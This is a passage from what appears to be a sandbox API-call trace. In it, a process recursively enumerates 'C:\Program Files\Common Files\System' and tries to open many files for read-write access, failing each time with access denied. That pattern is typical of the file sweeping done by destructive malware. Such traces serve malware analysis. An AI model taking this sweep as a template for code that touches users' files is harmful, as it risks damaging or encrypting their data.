ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0190.926] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0190.927] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0190.927] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.927] GetProcessHeap () returned 0x2ef0000 [0190.927] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.927] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TTS20", cAlternateFileName="")) returned 0 [0190.927] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.927] GetProcessHeap () returned 0x2ef0000 [0190.927] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.927] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0190.927] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0190.927] GetProcessHeap () returned 0x2ef0000 [0190.927] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.927] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1 [0190.927] GetProcessHeap () returned 0x2ef0000 [0190.927] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x5a) returned 0x2f123a0 [0190.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0190.930] GetProcessHeap () returned 0x2ef0000 [0190.930] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.930] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.930] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ado", cAlternateFileName="")) returned 1 [0190.930] GetProcessHeap () returned 0x2ef0000 [0190.930] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x25c) returned 0x2f10788 [0190.930] GetProcessHeap () returned 0x2ef0000 [0190.930] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x62) returned 0x2f123a0 [0190.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.932] GetProcessHeap () returned 0x2ef0000 [0190.932] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.932] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.932] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0190.932] GetProcessHeap () returned 0x2ef0000 [0190.932] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x264) returned 0x2f14588 [0190.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.933] GetLastError () returned 0x5 [0190.933] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0190.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.934] GetLastError () returned 0x5 [0190.934] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0190.934] GetProcessHeap () returned 0x2ef0000 [0190.934] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x6e) returned 0x2f123a0 [0190.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.934] GetProcessHeap () returned 0x2ef0000 [0190.934] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.934] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.934] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0190.934] GetProcessHeap () returned 0x2ef0000 [0190.934] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x270) returned 0x2f11d10 [0190.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.935] GetLastError () returned 0x5 [0190.935] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0190.935] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.936] GetProcessHeap () returned 0x2ef0000 [0190.936] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.936] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0190.936] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0190.936] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0190.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.937] GetLastError () returned 0x5 [0190.937] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0190.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.937] GetLastError () returned 0x5 [0190.937] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0190.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.937] GetLastError () returned 0x5 [0190.937] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0190.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.938] GetLastError () returned 0x5 [0190.938] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0190.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.938] GetLastError () returned 0x5 [0190.938] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0190.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.939] GetLastError () returned 0x5 [0190.939] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0190.939] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0190.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.940] GetLastError () returned 0x5 [0190.940] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0190.940] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0190.940] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0190.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.940] GetLastError () returned 0x5 [0190.940] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0190.940] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0190.940] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.940] GetProcessHeap () returned 0x2ef0000 [0190.940] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.941] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0190.941] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0190.941] GetProcessHeap () returned 0x2ef0000 [0190.941] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x66) returned 0x2f123a0 [0190.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 